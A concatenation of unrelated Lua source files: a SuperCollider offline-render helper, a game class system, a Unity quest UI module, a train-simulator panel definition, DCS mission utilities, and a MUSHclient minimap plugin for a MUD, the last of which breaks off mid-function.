function NRT:SaveTable(file)
local fich,err=io.open(file,"wb")
if not fich then error(err) end
fich:write("local ")
print"serialize"
local str = serializeTable("osctable",osctable)
print"serialize fich"
fich:write(str)
fich:write("return osctable ")
fich:close()
end
function NRT:LoadTable(file)
local fich,err=io.open(file,"r")
if not fich then error(err) end
local str=fich:read("*a")
fich:close()
return assert(loadstring(str))()
end
function NRT:close()
self.file:close()
self.closed = true
end
function NRT:Gen(endppq,test)
USING_LILYPOND = true --not doing /sync
require"sc.oscfunc"(scriptlinda,true)
NRT.test = test
local function pathnoext(P)
return P:match("([^%.]+)")
end
if not test then NRT:open(pathnoext(scriptname)..".osc") end
if test then
NRT.sendBundle = NRT.sendBundleTable
NRT.sendMultiBundle = NRT.sendMultiBundleTable
end
theMetro:play(nil,0,0,25)
theMetro.oldtimestamp = 0
theMetro.oldppqPos = 0
local lastt = 0
sendBundle = function(msg,ti)
--if ti then assert(ti>=lastt) end
--if not ti then print("ti null",theMetro.ppqPos);print(theMetro.oldtimestamp,theMetro.oldppqPos,theMetro.bpsi) end
ti = ti or theMetro:ppq2time(theMetro.ppqPos) --lastt
lastt = ti
local oscstr = prOSC(msg):sub(1,255)
if test then prerror(ti,oscstr) end
NRT:sendBundle(msg,ti)
end
sendMultiBundle = function(ti,msg)
--if ti then assert(ti>=lastt) end
--if not ti then print("ti null",theMetro.ppqPos);print(theMetro.oldtimestamp,theMetro.oldppqPos,theMetro.bpsi) end
ti = ti or theMetro:ppq2time(theMetro.ppqPos) --lastt
lastt = ti
local oscstr = prOSC(msg):sub(1,255)
if test then prerror(ti,oscstr) end
NRT:sendMultiBundle(ti,msg)
end
sendBlocked = function(msg)
--print(lastt,prOSC(msg))
local oscstr = prOSC(msg):sub(1,255)
prerror(lastt,oscstr)
--if msg[1]~="/d_recv" then
NRT:sendBundle(msg,lastt)
--end
return {"/done",{}}
end
ThreadServerSend = function(msg)
sendBundle(msg)
end
ThreadServerSendT = function(msg,tim)
sendMultiBundle(tim,msg)
end
--setting oldtimestamp to 0
table.insert(initCbCallbacks,1,function()
theMetro:play(nil,0,0,25)
theMetro.oldppqPos = 0
theMetro.oldtimestamp = 0
end)
table.insert(initCbCallbacks,function()
print"NRT work"
theMetro:play(nil,0,0,25)
theMetro.oldtimestamp = 0 -- -theMetro.period
while theMetro.ppqPos < endppq do
-- cancelstep already does the work
if cancel_test() then
print("NRT:required to cancel\n")
return true
end
theMetro.timestamp = theMetro.oldtimestamp + theMetro.period
theMetro.oldppqPos = theMetro.ppqPos
theMetro.ppqPos = theMetro.ppqPos + theMetro.frame
--print("theMetro",theMetro.oldppqPos,theMetro.ppqPos)
_onFrameCb()
theMetro.oldtimestamp = theMetro.timestamp
end
if not NRT.test then
print("sending /quit on",theMetro:ppq2time(endppq),endppq)
sendBundle({"/quit",{}},theMetro:ppq2time(endppq))
NRT:sentosctable2file()
NRT:close()
else
print"saving osc table"
NRT:SaveTable(pathnoext(scriptname)..".osc")
print"osc table saved"
end
if not test then
-- call sc NRT
local is_windows = package.config:sub(1,1) == '\\'
local sep = is_windows and '\\' or '/'
local plugpathsep = is_windows and ";" or ":"
local scpath = (_run_options.SCpath):match("(.+"..sep..")([^"..sep.."]+)")
local plugpath = [["]]..scpath..[[plugins"]]
for i,v in ipairs(_run_options.SC_PLUGIN_PATH) do
if(v=="default") then
else
plugpath = plugpath..plugpathsep..[["]]..v..[["]]
end
end
local cmd = string.format("\"\"%s\" -N \"%s\" _ \"%s\" 44100 wav float -U %s -o 2 -i 2 -V 2 -m 65536 2>&1\"",_run_options.SCpath, NRT.filepath, pathnoext(scriptname)..".wav",plugpath)
print(cmd)
---[=[
--print(os.execute(cmd))
local exe,err = io.popen(cmd)
if not exe then
print("Could not popen. Error: ",err)
return false
else
exe:setvbuf("no")
end
repeat
if cancel_test() then
print("NRT:required to cancel\n")
return true
end
--print(stdout:read("*all") or stderr:read("*all") or "nil")
exe:flush()
--io.write("reading line bootsc\n")
local line = exe:read("*l")
if line then
--io.write(line .."\n")
if not line:match("^nextOSCPacket") then
print(line)
end
else
--io.write("server finished\n")
print("nrt server finished")
--return true
break
end
until false
--]=]
end
scriptlinda:send("script_exit",1)
end)
end
return NRT
|
local printf = function(fmt, ...) MsgN(string.format(fmt, ...)) end
class = {}
class.Registered = {}
local function checkfield(tbl, key, def)
tbl[key] = tbl[key] or def
if not tbl[key] then
error(string.format("The key %q was not found!", key), 3)
end
return tbl[key]
end
function class.GetSet(tbl, name, def)
tbl["Set" .. name] = function(self, var) self[name] = var end
tbl["Get" .. name] = function(self, var) return self[name] end
tbl[name] = def
end
function class.IsSet(tbl, name, def)
tbl["Set" .. name] = function(self, var) self[name] = var end
tbl["Is" .. name] = function(self, var) return self[name] end
tbl[name] = def
end
function class.Get(type, name)
if not type then return end
if not name then return end
return class.Registered[type] and class.Registered[type][name] or nil
end
function class.GetAll(type)
return class.Registered[type]
end
function class.Register(META, type, name)
local type = checkfield(META, "Type", type)
local name = checkfield(META, "ClassName", name)
class.Registered[type] = class.Registered[type] or {}
class.Registered[type][name] = META
end
function class.InsertIntoBaseField(META, var, pos)
local T1 = type(META.Base)
local T2 = type(var)
if T1 == "table" then
if T2 == "table" and not var.Type then
for key, base in ipairs(var) do
table.insert(META.Base, key, base)
end
else
if table.HasValue(META.Base, var) then return end
if pos then
table.insert(META.Base, pos, var)
else
table.insert(META.Base, var)
end
end
end
if META.ClassName == var then return end
if T1 == "string" then
META.Base = {META.Base}
class.InsertIntoBaseField(META, var, pos)
end
if T1 == "nil" then
META.Base = {var}
end
end
function class.Derive(obj, var)
local T = type(var)
if T == "nil" then
return
end
if T == "string" then
var = class.Get(obj.Type, var)
T = type(var)
end
if T == "table" then
if var.Type then
obj.BaseClass = var
else
for _, base in ipairs(var) do
class.Derive(obj, base)
end
end
if var.Base then
class.Derive(var, var.Base)
end
for key, val in pairs(var) do
if type(val) == "table" then
obj[key] = obj[key] or {}
table.Merge(obj[key], table.Copy(val))
end
end
end
-- the code below is kinda huh
local tbl = {}
local cur = obj
for i = 1, 10 do
if cur then
table.insert(tbl, cur)
cur = cur.BaseClass
else
break
end
end
for _, base in ipairs(tbl) do
for key, val in pairs(base) do
obj[key] = obj[key] or val
end
end
obj.__bases = tbl
end
function class.Create(Type, ClassName)
local META = class.Get(Type, ClassName)
if not META then
printf("tried to create unknown %s %q!", Type, ClassName)
return
end
META = table.Copy(META)
class.Derive(META, META.Base)
function META:__tostring()
return string.format("%s[%s]", self.Type, self.ClassName)
end
if META.Base then
function META:__index(key)
if META[key] ~= nil then
return META[key]
end
for key, base in ipairs(META.__bases) do
if base[key] ~= nil then
return base[key]
end
end
end
else
META.__index = META
end
local obj = setmetatable({}, META)
return obj
end
|
local guideFashion = {}
function guideFashion:Start()
self:initData()
self:initUi()
end
function guideFashion:initData()
self.cfg = module.guideLayerModule.GetFashionCfg()
self.quest = module.QuestModule.Get(self.cfg.finishQuest)
end
function guideFashion:initUi()
self.view = CS.SGK.UIReference.Setup(self.gameObject)
CS.UGUIClickEventListener.Get(self.view.root.backBtn.gameObject).onClick = function()
DialogStack.Pop()
end
for i = 1, #self.view.root.ScrollView.Viewport.Content do
local _view = self.view.root.ScrollView.Viewport.Content[i]
utils.IconFrameHelper.Create(_view.IconFrame, {customCfg={
icon = 11003,
quality = 0,
star = 0,
level = 0,
}, type = 42});
end
CS.UGUIClickEventListener.Get(self.view.root.ScrollView.Viewport.Content.item1.activite.Image.gameObject, true).onClick = function()
self.view.root.fashionNode:SetActive(true)
end
CS.UGUIClickEventListener.Get(self.view.root.fashionNode.gameObject, true).onClick = function()
self.view.root.fashionNode:SetActive(false)
end
self:upUi()
local _view = self.view.root.ScrollView.Viewport.Content.item3
CS.UGUIClickEventListener.Get(_view.open.gameObject, true).onClick = function()
if module.QuestModule.CanSubmit(self.quest.uuid) then
_view.open[CS.UGUIClickEventListener].interactable = false
_view.open[UI.Image].material = SGK.QualityConfig.GetInstance().grayMaterial
coroutine.resume(coroutine.create(function()
module.QuestModule.Finish(self.quest.uuid)
showDlgError(nil, SGK.Localize:getInstance():getValue("xiaobai_shuangzixingwushi_9"))
DialogStack.Pop()
_view.open[UI.Image].material = nil
_view.open[CS.UGUIClickEventListener].interactable = true
end))
else
showDlgError(nil, self.quest.name)
end
end
end
function guideFashion:questList()
for i = 1, 5 do
local _view = self.view.root.ScrollView.Viewport.Content.item2.activite.taskNode[i]
local _cfg = module.QuestModule.Get(self.cfg.conditions[i])
if _cfg then
_view.info[UI.Text].text = _cfg.name
local _idx = 0
if _cfg.status == 1 then
_idx = 1
end
_view[CS.UGUISpriteSelector].index = _idx
end
end
end
function guideFashion:Update()
self:upOverTime()
end
function guideFashion:upOverTime()
if self.view.root.ScrollView.Viewport.Content.item1.activite.Text then
if self.quest then
local _time = (self.quest.end_time - 1) * 86400
local _off = (module.playerModule.Get().create_time + _time) - module.Time.now()
local _day = math.floor(_off / 86400)
local _hour = math.floor((_off - _day * 86400) / 3600)
local _min = math.floor((_off - _day * 86400 - _hour * 3600) / 60)
if _day == 0 then
self.view.root.ScrollView.Viewport.Content.item1.activite.Text[UI.Text].text = SGK.Localize:getInstance():getValue("online_reward_2", _hour, _min)
else
self.view.root.ScrollView.Viewport.Content.item1.activite.Text[UI.Text].text = SGK.Localize:getInstance():getValue("online_reward_1", _day, _hour, _min)
end
else
self.view.root.ScrollView.Viewport.Content.item1.activite.Text[UI.Text].text = ""
end
if self.view.root.ScrollView.Viewport.Content.item2.activeSelf then
self.view.root.ScrollView.Viewport.Content.item2.activite.Text[UI.Text].text = self.view.root.ScrollView.Viewport.Content.item1.activite.Text[UI.Text].text
end
if self.view.root.ScrollView.Viewport.Content.item3.activeSelf then
self.view.root.ScrollView.Viewport.Content.item3.time[UI.Text].text = self.view.root.ScrollView.Viewport.Content.item1.activite.Text[UI.Text].text
end
end
end
function guideFashion:jumpTo()
self.view.root.ScrollView.Viewport.Content[UI.VerticalLayoutGroup].enabled = false
self.view.root.ScrollView.Viewport.Content[UI.VerticalLayoutGroup].enabled = true
end
function guideFashion:upUi()
self.view.root.ScrollView.Viewport.Content.item3:SetActive(self.quest and (self.quest.status == 1 or module.QuestModule.CanSubmit(self.quest.id)))
if self.view.root.ScrollView.Viewport.Content.item3.activeSelf then
self:jumpTo()
end
self:questList()
end
function guideFashion:listEvent()
return {
"QUEST_INFO_CHANGE",
}
end
function guideFashion:onEvent(event, data)
if event == "QUEST_INFO_CHANGE" then
self:upUi()
end
end
return guideFashion
|
--------------------------------------------------------------------------------
-- 81-707 controller panel
--------------------------------------------------------------------------------
-- Copyright (C) 2013-2018 Metrostroi Team & FoxWorks Aerospace s.r.o.
-- Contains proprietary code. See license.txt for additional information.
--------------------------------------------------------------------------------
Metrostroi.DefineSystem("81_707_Panel")
function TRAIN_SYSTEM:Initialize()
-- Выключатель батареи (ВБ)
self.Train:LoadSystem("VB","Relay","Switch", {bass = true})
self.Train:LoadSystem("AV","Relay","Switch", {bass = true})
self.Train:LoadSystem("VU","Relay","Switch", {bass = true,normally_closed = true})
self.Train:LoadSystem("VU1","Relay","Switch", {bass = true}) --Heater
self.Train:LoadSystem("VU2","Relay","Switch", {bass = true}) --EmergencyLights
self.Train:LoadSystem("VU3","Relay","Switch", {bass = true}) --CabLights
-- Buttons on the panel
self.Train:LoadSystem("DoorSelect","Relay","Switch", {bass = true, normally_closed = false })
self.Train:LoadSystem("KU4","Relay","Switch", {bass = true})
self.Train:LoadSystem("KU5","Relay","Switch", {bass = true})
self.Train:LoadSystem("KU9","Relay","Switch", {bass = true})
self.Train:LoadSystem("KU14","Relay","Switch", {bass = true})
self.Train:LoadSystem("KU15","Relay","Switch", {bass = true})
self.Train:LoadSystem("KU1","Relay","Switch", {bass = true})
self.Train:LoadSystem("VAH","Relay","Switch", {bass = true})
self.Train:LoadSystem("VAD","Relay","Switch", {bass = true})
self.Train:LoadSystem("KU16","Relay","Switch", {bass = true})
self.Train:LoadSystem("KU2","Relay","Switch", {bass = true })
self.Train:LoadSystem("KU3","Relay","Switch", { normally_closed = true, bass = true }) -- Doors close
self.Train:LoadSystem("KU3L","Relay","Switch", { bass = true }) -- Doors close
self.Train:LoadSystem("KU13","Relay","Switch", {bass = true}) -- Doors left open
self.Train:LoadSystem("KU6","Relay","Switch", {bass = true})
self.Train:LoadSystem("KU7","Relay","Switch", {bass = true})
self.Train:LoadSystem("KU10","Relay","Switch", {bass = true})
self.Train:LoadSystem("KU8","Relay","Switch", {bass = true})
self.Train:LoadSystem("KU11","Relay","Switch", {bass = true}) --Door sig
self.Train:LoadSystem("KRR","Relay","Switch", {bass = true})
self.Train:LoadSystem("OtklAVU","Relay","Switch", {bass = true})
self.Train:LoadSystem("ARS","Relay","Switch", {bass = true})
self.Train:LoadSystem("ALS","Relay","Switch", {bass = true, normally_closed = true })
self.Train:LoadSystem("KVT","Relay","Switch", {bass = true})
self.Train:LoadSystem("KB","Relay","Switch", {bass = true})
self.Train:LoadSystem("KAH","Relay","Switch", {bass = true})
self.Train:LoadSystem("R_UNch","Relay","Switch", {bass = true, normally_closed = true})
self.Train:LoadSystem("R_ZS","Relay","Switch", {bass = true, normally_closed = true})
self.Train:LoadSystem("R_G","Relay","Switch", {bass = true, normally_closed = true})
self.Train:LoadSystem("R_Radio","Relay","Switch", {bass = true, normally_closed = true})
self.Train:LoadSystem("R_Program1","Relay","Switch", {bass = true})
self.Train:LoadSystem("R_Program2","Relay","Switch", {bass = true})
self.Train:LoadSystem("R_Program1H","Relay","Switch", {bass = true})
self.Train:LoadSystem("R_Program2H","Relay","Switch", {bass = true})
self.Train:LoadSystem("RC1","Relay","Switch",{bass = true, normally_closed = true })
self.Train:LoadSystem("OVT","Relay","Switch",{bass = true, normally_closed = true })
self.Train:LoadSystem("RST","Relay","Switch", {bass = true, normally_closed = true})
--self.Train:LoadSystem("ALSFreq","Relay","Switch", {bass = true})
-- Педаль бдительности (ПБ)
self.Train:LoadSystem("PB","Relay","Switch", {bass = true})
self.Train:LoadSystem("KU6K","Relay","Switch", {bass = true, normally_closed = true})
--self.Train:LoadSystem("KU13K","Relay","Switch", {bass = true, normally_closed = true})
--self.Train:LoadSystem("KU7K","Relay","Switch", {bass = true, normally_closed = true})
--self.Train:LoadSystem("KAHK","Relay","Switch", {bass = true, normally_closed = true})
self.Train:LoadSystem("PanelLamp","Relay","Switch", {bass = true, normally_closed=true})
self.V1 = 0
self.GRP = 0
self.RRP = 0
self.TW18 = 0
self.SD = 0
self.Sequence = 0
self.Headlights1 = 0
self.Headlights2 = 0
self.RedLights = 0
self.EmergencyLights2 = 0
self.EmergencyLights1 = 0
self.MainLights1 = 0
self.MainLights2 = 0
self.Ring = 0
self.KT = 0
self.AVU = 0
self.VPR = 0
self.AnnouncerPlaying = 0
self.CBKIPower = 0
self.PCBKPower = 0
end
function TRAIN_SYSTEM:Outputs()
return { "V1","GRP","RRP","TW18","SD","Headlights1","Headlights2","RedLights","EmergencyLights2","EmergencyLights1","MainLights1","MainLights2","Ring","KT","Sequence","AnnouncerPlaying","AVU","VPR","CBKIPower","PCBKPower"}
end
|
---
-- FDMM MOOSE Additions Module.
-- @module FDMM_MOOSEAdditions
env.info("---FDMM_MOOSEAdditions Start---")
assert(routines, 'MOOSE not initialized.')
do -- FDMM_MOOSEAdditions
--- Distance between two points (2 dimensional).
-- Gets distance in meters squared between two points in 2 dimensions (no altitude).
-- Useful for when comparing distances, in which the square root operation isn't necessary.
-- @param DCS#Vec2 point1 First point.
-- @param DCS#Vec2 point2 Second point.
-- @return DCS#Distance Distance in meters squared.
function routines.utils.get2DDistSqrd(point1, point2)
if point1.z ~= nil then point1 = routines.utils.makeVec2(point1) end
if point2.z ~= nil then point2 = routines.utils.makeVec2(point2) end
return routines.vec.magSqrd({x = point1.x - point2.x, y = point1.y - point2.y})
end
--- Distance between two points (3 dimensional).
-- Gets distance in meters squared between two points in 3 dimensions (with altitude).
-- Useful for when comparing distances, in which the square root operation isn't necessary.
-- @param DCS#Vec3 point1 First point.
-- @param DCS#Vec3 point2 Second point.
-- @return DCS#Distance Distance in meters squared.
function routines.utils.get3DDistSqrd(point1, point2)
if point1.z == nil then point1 = routines.utils.makeVec3(point1) end
if point2.z == nil then point2 = routines.utils.makeVec3(point2) end
return routines.vec.magSqrd({x = point1.x - point2.x, y = point1.y - point2.y, z = point1.z - point2.z})
end
--- Vector magnitude squared.
-- Gets magnitude of vector in meters squared.
-- Useful for when comparing distances, in which the square root operation isn't necessary.
-- @param DCS#Vec vec Vector.
-- @return DCS#Distance Magnitude in meters squared.
routines.vec.magSqrd = function(vec)
return (vec.x * vec.x) + (vec.y * vec.y) + ((vec.z or 0) * (vec.z or 0))
end
--- Constructor to create a ZONE_POLYGON instance, taking the zone name and array of @{DCS#Vec2}, forming a polygon.
-- The polygon points define the polygon corners. The first and the last point are automatically connected by ZONE_POLYGON.
-- @param #ZONE_POLYGON self
-- @param #string ZoneName Name of the zone.
-- @param #ZONE_POLYGON_BASE.ListVec2 PointsArray An array of @{DCS#Vec2}, forming a polygon.
-- @return #ZONE_POLYGON self
function ZONE_POLYGON:NewFromPoints( ZoneName, PointsArray )
local self = BASE:Inherit( self, ZONE_POLYGON_BASE:New( ZoneName, PointsArray ) )
self:F( { ZoneName, nil, self._.Polygon } )
-- Zone objects are added to the _DATABASE and SET_ZONE objects.
_EVENTDISPATCHER:CreateEventNewZone( self )
return self
end
end -- /FDMM_MOOSEAdditions
env.info("---FDMM_MOOSEAdditions End---")
|
--|————————————————————————————————————————————————————————————————————————————————————————|
--| DESCRIPTION
--|————————————————————————————————————————————————————————————————————————————————————————|
-- Contributors: RiftTalon
--[[
Runs the entire minimap system.
--]]
--|————————————————————————————————————————————————————————————————————————————————————————|
--| SETTINGS
--|————————————————————————————————————————————————————————————————————————————————————————|
local TILE_FILL = {
["Dunes"] = 12;
["Plains"] = 13;
["Salt"] = 17;
["Wasteland"] = 14;
["Arid"] = 18;
["Road"] = 10;
["Alley"] = 15;
["Ravine"] = 19;
}
local GRID_PX = 32
local WINDOW_SIZE = 7
local WINDOW_OFFSET = 0
local MAP_LIST = {}
local SIZE = {}
local PORTS = {}
local PORT_COMMANDS = {}
local MAPS = {}
local LANDMARKS = {}
--|————————————————————————————————————————————————————————————————————————————————————————|
--| VARIABLES
--|————————————————————————————————————————————————————————————————————————————————————————|
local entryLength = 10
local mapping = false
local palette = false
local moveList = {}
local lastMove
local currentTile
local exits
local origPos
--|————————————————————————————————————————————————————————————————————————————————————————|
--| FUNCTIONS
--|————————————————————————————————————————————————————————————————————————————————————————|
function FindSpritePos(tile) -- ()
tile = tile / 10
local tileY = math.floor(tile)
local tileX = math.floor(((tile - tileY) * 10) + 0.5)
return {X = tileX, Y = tileY}
end
function DrawMap() -- ()
if not GetVariable("map") then
SetVariable("map", "None")
SetVariable("grid_x", 5 )
SetVariable("grid_y", 5 )
SetVariable("explore", "on" )
end
local map = GetVariable("map") or "None"
local mSize = WINDOW_SIZE
win = GetPluginID()
local locX, locY = tonumber(GetVariable("grid_x")), tonumber(GetVariable("grid_y"))
local wCenter = GetInfo(250) / 2
local hCenter = GetInfo(280) / 2
if mSize > SIZE[map][1] then
mSize = math.max(SIZE[map][1], 7)
end
local wSize = (mSize * GRID_PX) + 12
if not origPos then
origPos = {}
origPos[1] = wCenter
origPos[2] = (hCenter - 400) + WINDOW_OFFSET
end
-- make miniwindow
WindowCreate(win,
origPos[1], origPos[2], wSize, wSize, -- pos/size
0, -- docked to
2, -- flags
ColourNameToRGB "#343434")
WindowSetZOrder(win, 40)
WindowLoadImage(win, "background", "worlds/plugins/armageddon/images/arma_window_background.png")
WindowLoadImage(win, "corners", "worlds/plugins/armageddon/images/arma_corners.png" )
WindowLoadImage(win, "tilesheet", "worlds/plugins/armageddon/images/map/Tiles.png" )
WindowLoadImage(win, "grid", "worlds/plugins/armageddon/images/map/Grid.png" )
WindowLoadImage(win, "exits", "worlds/plugins/armageddon/images/map/Exits.png" )
if not GetVariable("token") then
SetVariable("token", "Default")
end
WindowLoadImage(win, "marker", "worlds/plugins/armageddon/images/tokens/"..GetVariable("token")..".png")
WindowDrawImage(win, "background", 2, 2, wSize - 2, wSize - 2, 2, 0, 0, 0, 0)
if PORTS[map] and PORTS[map][locX..","..locY] then
local port2 = PORTS[map][locX..","..locY]
if port2[1] ~= map then
SetVariable("map", port2[1])
end
SetVariable("grid_x", port2[2])
SetVariable("grid_y", port2[3])
return DrawMap()
end
local startX, startY = math.max(locX - (mSize / 2), 0), math.max(locY - (mSize / 2), 0)
local endX, endY = math.min(SIZE[map][1], locX + (mSize / 2)) - 1, math.min(SIZE[map][2] - 1, locY + (mSize / 2) - 1)
startX, startY, endX, endY = math.floor(startX + 0.5), math.floor(startY + 0.5), math.floor(endX + 0.5), math.floor(endY + 0.5)
local map = MAPS[map]
local myX, myY
for y = startY, endY do
local info = map[y + 1]
for x = startX, endX do
local tile = info[x + 1]
if tile then
local exploreTable = {}
if not GetVariable("explored_"..string.gsub(GetVariable("map"), " ", "_")) then
SetVariable("explored_"..string.gsub(GetVariable("map"), " ", "_"), "0,0")
end
if GetVariable("explored_"..string.gsub(GetVariable("map"), " ", "_")) then
for word in string.gmatch(GetVariable("explored_"..string.gsub(GetVariable("map"), " ", "_")), "%S+") do
exploreTable[word] = true
end
end
local on = false
if x == locX and y == locY then
on = true
if not exploreTable[x..","..y] then
SetVariable("explored_"..string.gsub(GetVariable("map"), " ", "_"), GetVariable("explored_"..string.gsub(GetVariable("map"), " ", "_")).." "..x..","..y)
end
end
for sprite in string.gmatch(tile, "%d+") do
coord = FindSpritePos(sprite)
if coord and tile ~= " " and (exploreTable[x..","..y] or on or GetVariable("explore") == "off") then
WindowDrawImageAlpha(win, "tilesheet", ((x - startX) * GRID_PX) + 6, ((y - startY) * GRID_PX) + 6, (((x - startX) + 1) * GRID_PX) + 6, (((y - startY) + 1) * GRID_PX) + 6, 1, coord.X * GRID_PX, coord.Y * GRID_PX)
end
end
if tile ~= "" and tile ~= " " then
WindowDrawImageAlpha(win, "grid", ((x - startX) * GRID_PX) + 6, ((y - startY) * GRID_PX) + 6, (((x - startX) + 1) * GRID_PX) + 6, (((y - startY) + 1) * GRID_PX) + 6, 1, 0, 0)
else
WindowDrawImageAlpha(win, "grid", ((x - startX) * GRID_PX) + 6, ((y - startY) * GRID_PX) + 6, (((x - startX) + 1) * GRID_PX) + 6, (((y - startY) + 1) * GRID_PX) + 6, 1, GRID_PX, 0)
end
if on then
myX, myY = x, y
end
end
end
end
if GetVariable("token") and myX and myY then
--WindowDrawImageAlpha(win, "marker", ((myX - startX) * GRID_PX) - 12, ((myY - startY) * GRID_PX) - 28, (((myX - startX) + 1) * GRID_PX) + 20, (((myY - startY) + 1) * GRID_PX) + 20, 1, 0, 0)
WindowDrawImageAlpha(win, "marker", ((myX - startX) * GRID_PX) - 10, ((myY - startY) * GRID_PX) - 10, (((myX - startX) + 1) * GRID_PX) + 38, (((myY - startY) + 1) * GRID_PX) + 38, 1, 0, 0)
elseif myX and myY then
WindowDrawImageAlpha(win, "marker", ((myX - startX) * GRID_PX) + 6, ((myY - startY) * GRID_PX) + 6, (((myX - startX) + 1) * GRID_PX) + 6, (((myY - startY) + 1) * GRID_PX) + 6, 1, 0, 0)
end
WindowDrawImageAlpha(win, "corners", 0, 0, 16, 16, 1, 0, 0 )
WindowDrawImageAlpha(win, "corners", wSize - 16, 0, wSize, 16, 1, 16, 0 )
WindowDrawImageAlpha(win, "corners", 0, wSize - 16, 16, wSize, 1, 0, 16)
WindowDrawImageAlpha(win, "corners", wSize - 16, wSize - 16, wSize, wSize, 1, 16, 16)
if exits then
if string.find(exits, "N") then
WindowDrawImageAlpha(win, "exits", (wSize / 2) - 4, 0, (wSize / 2) + 4, 8, 1, 0, 0)
end
if string.find(exits, "E") then
WindowDrawImageAlpha(win, "exits", wSize - 8, (wSize / 2) - 4, wSize, (wSize / 2) + 4, 1, 8, 0)
end
if string.find(exits, "S") then
WindowDrawImageAlpha(win, "exits", (wSize / 2) - 4, wSize - 8, (wSize / 2) + 4, wSize, 1, 0, 8)
end
if string.find(exits, "W") then
WindowDrawImageAlpha(win, "exits", 0, (wSize / 2) - 4, 8, (wSize / 2) + 4, 1, 8, 8)
end
end
WindowShow(win, true)
end
function PrintGrid() -- ()
Note("You are at: " .. GetVariable("grid_x") .. ", " .. GetVariable("grid_y"))
end
function MoveMade(move) -- ()
if mapping then
moveList[#moveList + 1] = move
end
end
function StopMove() -- ()
moveList = {}
end
function ChangeGridX(inc, override) -- (number, boolean)
currentTile = nil
if mapping or override then
inc = GetVariable("grid_x") + inc
if inc > tonumber(GetVariable("grid_x")) then
lastMove = "E"
elseif inc < tonumber(GetVariable("grid_x")) then
lastMove = "W"
end
SetVariable("grid_x", inc)
--PrintGrid()
DrawMap()
end
end
function ChangeGridY(inc, override) -- (number, boolean)
currentTile = nil
if mapping or override then
inc = GetVariable("grid_y") + inc
if inc > tonumber(GetVariable("grid_y")) then
lastMove = "S"
elseif inc < tonumber(GetVariable("grid_y")) then
lastMove = "N"
end
SetVariable("grid_y", inc)
--PrintGrid()
DrawMap()
end
end
function SetGrid(incx, incy) -- (number, number)
currentTile = nil
if GetVariable("grid_x") ~= tostring(incx) or GetVariable("grid_y") ~= tostring(incy) then
SetVariable("grid_x", incx)
SetVariable("grid_y", incy)
PrintGrid()
DrawMap()
end
end
function ChangeMap(newMap) -- (string)
if GetVariable("map") ~= newMap then
if MAPS[newMap] then
SetVariable("map", newMap)
Note(newMap, " loaded.")
SetGrid(0, 0)
ActivateNotepad("Map_"..GetVariable("map"))
DrawMap()
else
Note("No such map found, check your capitalization.")
end
end
end
function ListMaps() -- ()
for map, _ in pairs(MAPS) do
Note(map)
end
end
function UndoMove() -- ()
if mapping then
table.remove(moveList, 1)
end
end
function ToggleMapping(state) -- (boolean)
if state == nil then
mapping = not mapping
if mapping then
Note("Mapping toggled on.")
else
Note("Mapping toggled off.")
end
else
mapping = state
end
end
function ToggleExplore() -- ()
if GetVariable("explore") == "off" then
SetVariable("explore", "on")
Note("Exploration toggled on.")
else
SetVariable("explore", "off")
Note([[WARNING! YOU HAVE TOGGLED EXPLORATION OFF!
DOING THIS CAN GET YOU PERMANENTLY BANNED FROM ARMAGEDDON!
USE AT YOUR OWN RISK!]])
end
DrawMap()
end
function MapSize(newSize) -- (number)
if type(newSize) == "number" and tonumber(newSize) >= 7 then
WINDOW_SIZE = 7--tonumber(newSize)
Note("Changed map window size to: ", newSize)
else
Note("Map window size must be set to a number at or above 7.")
end
DrawMap()
end
function Add(selected, x, y) -- (string, number, number)
local override = false
local map = MAPS[GetVariable("map")]
if not x or not y then
x, y = GetVariable("grid_x") + 1, GetVariable("grid_y") + 1
else
x, y = x + 1, y + 1
override = true
end
if map[y] and map[y][x] and (not string.find(map[y][x], selected, 1, true) or override) then
if #map[y][x] < 1 then
map[y][x] = map[y][x]..selected
else
map[y][x] = map[y][x].."/"..selected
end
DrawMap()
ReplaceNotepad("Map_"..GetVariable("map"), GetMapText(true))
end
end
function SetCurrentTile(tileName) -- (string)
currentTile = tileName
local x, y = GetVariable("grid_x"), GetVariable("grid_y")
local map = MAPS[GetVariable("map")]
if map[x+1] == " " and map[y+1] == " " then
AutoTile()
end
end
function AutoTile() -- ()
local x, y = GetVariable("grid_x") + 1, GetVariable("grid_y") + 1
local map = MAPS[GetVariable("map")]
local fill = TILE_FILL[currentTile]
if fill then
if map[y] and map[y][x] then
map[y][x] = fill
DrawMap()
end
Note("Filled ", currentTile, " with: ", fill)
ReplaceNotepad("Map_"..GetVariable("map"), GetMapText(true))
else
Note("Tile is not auto-tile compatible.")
end
end
function Clear(x, y) -- (number, number)
local map = MAPS[GetVariable("map")]
if not x or not y then
x, y = GetVariable("grid_x"), GetVariable("grid_y")
end
if map[y+1] and map[y+1][x+1] then
map[y+1][x+1] = ""
DrawMap()
ReplaceNotepad("Map_"..GetVariable("map"), GetMapText(true))
end
end
function GetMapText(whitespace) -- (boolean)
local newMap = "{"
local map = MAPS[GetVariable("map")]
local function append(text)
newMap = newMap..text
end
for y = 1, #map do
if whitespace then
append("\r")
end
append("\n{ ")
for x = 1, #map[y] do
if map[y][x] == "" or map[y][x] == " " then
append([[(" " )]])
else
local dupeList = ""
for char in string.gmatch(map[y][x], ".") do
if not string.find(dupeList, char, 1, true) and char ~= " " then
dupeList = dupeList..char
end
end
map[y][x] = dupeList
local toAppend = [[("]]..map[y][x]..[["]]
for i = 1, entryLength - (#map[y][x] + 4) do
toAppend = toAppend.." "
end
append(toAppend..")")
end
if x ~= #map[y] then
append(",")
end
end
append(" }; -- "..y - 1)
if whitespace then
append("\r")
end
end
append("\n}")
return newMap
end
function Port(pType) -- ()
local newPort = PORT_COMMANDS[GetVariable("map")]
if newPort and newPort[pType] then
newPort = newPort[pType]
if newPort[GetVariable("grid_x")..","..GetVariable("grid_y")] then
newPort = newPort[GetVariable("grid_x")..","..GetVariable("grid_y")]
SetVariable("map", newPort[1])
SetVariable("grid_x", newPort[2])
SetVariable("grid_y", newPort[3])
DrawMap()
return true
end
end
return false
end
function SetToken(token) -- (string)
SetVariable("token", token)
Note("Map token was set to ["..token.."]")
DrawMap()
end
function TokenList() -- ()
local importList = loadfile("worlds/plugins/armageddon/images/tokens/TokenList.lua")()
Note("")
Note("List of Map Tokens:")
for _, token in ipairs(importList) do
Note(token)
end
Note("")
end
function TogglePalette() -- ()
if not palette then
WindowShow(win2, true)
palette = true
else
WindowShow(win2, false)
palette = false
end
end
function AddAutoPort(match, map, x, y)
-- todo
end
function AddRows(num, anchor, optMap)
local map = MAPS[GetVariable("map")]
if optMap then
